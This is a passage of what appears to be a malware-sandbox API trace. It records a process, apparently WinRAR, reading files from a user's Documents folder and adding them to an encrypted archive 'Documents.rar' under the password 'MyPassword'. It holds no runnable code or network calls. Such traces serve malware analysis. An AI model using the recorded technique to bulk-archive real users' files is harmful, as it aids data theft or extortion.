0x1163204d460 [0083.826] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0083.826] CreateFileW (lpFileName="NdfE2nFSq.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ndfe2nfsq.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.826] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.826] GetTickCount () returned 0x2ac15 [0083.826] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.826] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.826] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.826] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.826] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="MZgybshM.pptx") returned 13 [0083.826] SetWindowTextW (hWnd=0x10300, lpString="NdfE2nFSq.xlsx") returned 1 [0083.827] GetTickCount () returned 0x2ac15 [0083.827] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.827] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0083.827] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.827] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0083.827] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x13f)) [0083.827] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.828] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17515615397) returned 1 [0083.828] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xe6a5, lpOverlapped=0x0) returned 1 [0083.828] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9c6e5, nNumberOfBytesToRead=0xf195b, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9c6e5*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.828] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.828] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.828] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.828] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c510 [0083.829] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c510, Size=0x48) returned 0x1162e889120 [0083.829] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.829] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c3f0 [0083.829] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c3f0, Size=0x48) returned 0x1162e888ea0 [0083.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889120 | out: hHeap=0x1162e7c0000) returned 1 [0083.829] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c690 [0083.829] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c8d0 [0083.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c8d0 | out: hHeap=0x1162e7c0000) returned 1 [0083.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c690 | out: hHeap=0x1162e7c0000) returned 1 [0083.829] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ef0 [0083.829] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ef0, Size=0x7a) returned 0x1163205d070 [0083.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d070 | out: hHeap=0x1162e7c0000) returned 1 [0083.830] GetTickCount () returned 0x2ac15 [0083.831] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17515918095) returned 1 [0083.831] GetTickCount () returned 0x2ac15 [0083.831] GetTickCount () returned 0x2ac15 [0083.831] GetTickCount () returned 0x2ac15 [0083.831] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.831] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.831] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.832] ResetEvent (hEvent=0x344) returned 1 [0083.832] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.832] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.834] ResetEvent (hEvent=0x344) returned 1 [0083.834] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.834] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.836] GetTickCount () returned 0x2ac15 [0083.836] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17516471876) returned 1 [0083.836] GetTickCount () returned 0x2ac15 [0083.836] GetTickCount () returned 0x2ac15 [0083.836] GetTickCount () returned 0x2ac15 [0083.836] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.836] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.836] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.836] ResetEvent (hEvent=0x33c) returned 1 [0083.836] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.836] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.837] ResetEvent (hEvent=0x33c) returned 1 [0083.837] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.837] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.838] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.838] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.838] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x21cf43 [0083.838] SetFilePointer (in: hFile=0x32c, lDistanceToMove=98, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x21cfa5 [0083.838] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.840] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.840] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.840] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.840] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xe720, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xe720, lpOverlapped=0x0) returned 1 [0083.841] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0083.841] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0083.841] GetFocus () returned 0x1031c [0083.841] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0083.841] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.842] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2215747, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x21cf43 [0083.842] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x21cf43 [0083.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c720 [0083.842] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c720, Size=0x48) returned 0x1162e888fe0 [0083.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0083.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c990 [0083.842] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c990, Size=0x48) returned 0x1162e8891c0 [0083.842] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.842] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888fe0 | out: hHeap=0x1162e7c0000) returned 1 [0083.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2d0 [0083.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c450 [0083.842] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c450 | out: hHeap=0x1162e7c0000) returned 1 [0083.842] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c2d0 | out: hHeap=0x1162e7c0000) returned 1 [0083.842] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ea0 [0083.842] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205e150 [0083.842] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205e153*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205e153*, lpNumberOfBytesWritten=0x141a0d82c0*=0x62, lpOverlapped=0x0) returned 1 [0083.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x62) returned 0x1162e7f97d0 [0083.842] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8891c0 | out: hHeap=0x1162e7c0000) returned 1 [0083.842] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205e150 | out: hHeap=0x1162e7c0000) returned 1 [0083.842] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x22b6c5 [0083.842] CloseHandle (hObject=0x350) returned 1 [0083.842] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.842] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.842] GetFocus () returned 0x1031c [0083.842] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.844] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.844] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.844] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.844] FindFirstFileW (in: lpFileName="nt5k6gcCx.pdf", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d520 [0083.844] FindClose (in: hFindFile=0x1163204d520 | out: hFindFile=0x1163204d520) returned 1 [0083.844] CreateFileW (lpFileName="nt5k6gcCx.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\nt5k6gccx.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.844] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.844] GetTickCount () returned 0x2ac24 [0083.844] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.844] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.844] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.844] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.844] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="NdfE2nFSq.xlsx") returned 14 [0083.844] SetWindowTextW (hWnd=0x10300, lpString="nt5k6gcCx.pdf") returned 1 [0083.845] GetTickCount () returned 0x2ac24 [0083.845] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.845] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0083.845] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.845] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0083.845] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x14f)) [0083.845] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.845] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17517382322) returned 1 [0083.845] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x81db, lpOverlapped=0x0) returned 1 [0083.846] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9621b, nNumberOfBytesToRead=0xf7e25, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9621b*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.846] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.846] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.846] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cdb0 [0083.846] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cfc0 [0083.846] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cfc0, Size=0x48) returned 0x1162e8893a0 [0083.846] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86db30 [0083.846] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cff0 [0083.846] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cff0, Size=0x48) returned 0x1162e888ea0 [0083.846] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86db30 | out: hHeap=0x1162e7c0000) returned 1 [0083.846] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0083.846] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cf00 [0083.846] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cf30 [0083.846] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cf30 | out: hHeap=0x1162e7c0000) returned 1 [0083.846] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cf00 | out: hHeap=0x1162e7c0000) returned 1 [0083.846] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cdb0, Size=0x48) returned 0x1162e888ef0 [0083.846] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ef0, Size=0x7a) returned 0x1163205cec0 [0083.846] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.846] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cec0 | out: hHeap=0x1162e7c0000) returned 1 [0083.848] GetTickCount () returned 0x2ac24 [0083.848] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17517680647) returned 1 [0083.848] GetTickCount () returned 0x2ac24 [0083.848] GetTickCount () returned 0x2ac24 [0083.848] GetTickCount () returned 0x2ac24 [0083.848] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.848] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.848] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.849] ResetEvent (hEvent=0x344) returned 1 [0083.849] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.849] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.864] ResetEvent (hEvent=0x344) returned 1 [0083.864] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.865] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.865] GetTickCount () returned 0x2ac34 [0083.865] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17519388254) returned 1 [0083.865] GetTickCount () returned 0x2ac34 [0083.865] GetTickCount () returned 0x2ac34 [0083.865] GetTickCount () returned 0x2ac34 [0083.865] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.869] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.869] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.869] ResetEvent (hEvent=0x33c) returned 1 [0083.869] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.869] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.869] ResetEvent (hEvent=0x33c) returned 1 [0083.869] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.871] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.871] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.871] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.871] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x22b6c5 [0083.872] SetFilePointer (in: hFile=0x32c, lDistanceToMove=97, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x22b726 [0083.872] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.872] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.872] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.872] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.872] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x8260, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x8260, lpOverlapped=0x0) returned 1 [0083.873] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.873] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.873] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2275013, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x22b6c5 [0083.873] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x22b6c5 [0083.873] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2a0 [0083.873] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c600 [0083.873] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c600, Size=0x48) returned 0x1162e888950 [0083.873] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.873] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7b0 [0083.873] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c7b0, Size=0x48) returned 0x1162e888ea0 [0083.873] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.873] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888950 | out: hHeap=0x1162e7c0000) returned 1 [0083.873] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c570 [0083.873] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c4b0 [0083.873] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c4b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.873] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c570 | out: hHeap=0x1162e7c0000) returned 1 [0083.873] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c2a0, Size=0x48) returned 0x1162e888f90 [0083.873] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888f90, Size=0x7a) returned 0x1163205cb60 [0083.873] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205cb63*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205cb63*, lpNumberOfBytesWritten=0x141a0d82c0*=0x61, lpOverlapped=0x0) returned 1 [0083.873] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c810 [0083.873] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x61) returned 0x1162e7f9840 [0083.873] HeapFree (in: hHeap=0x1162e7c0000, 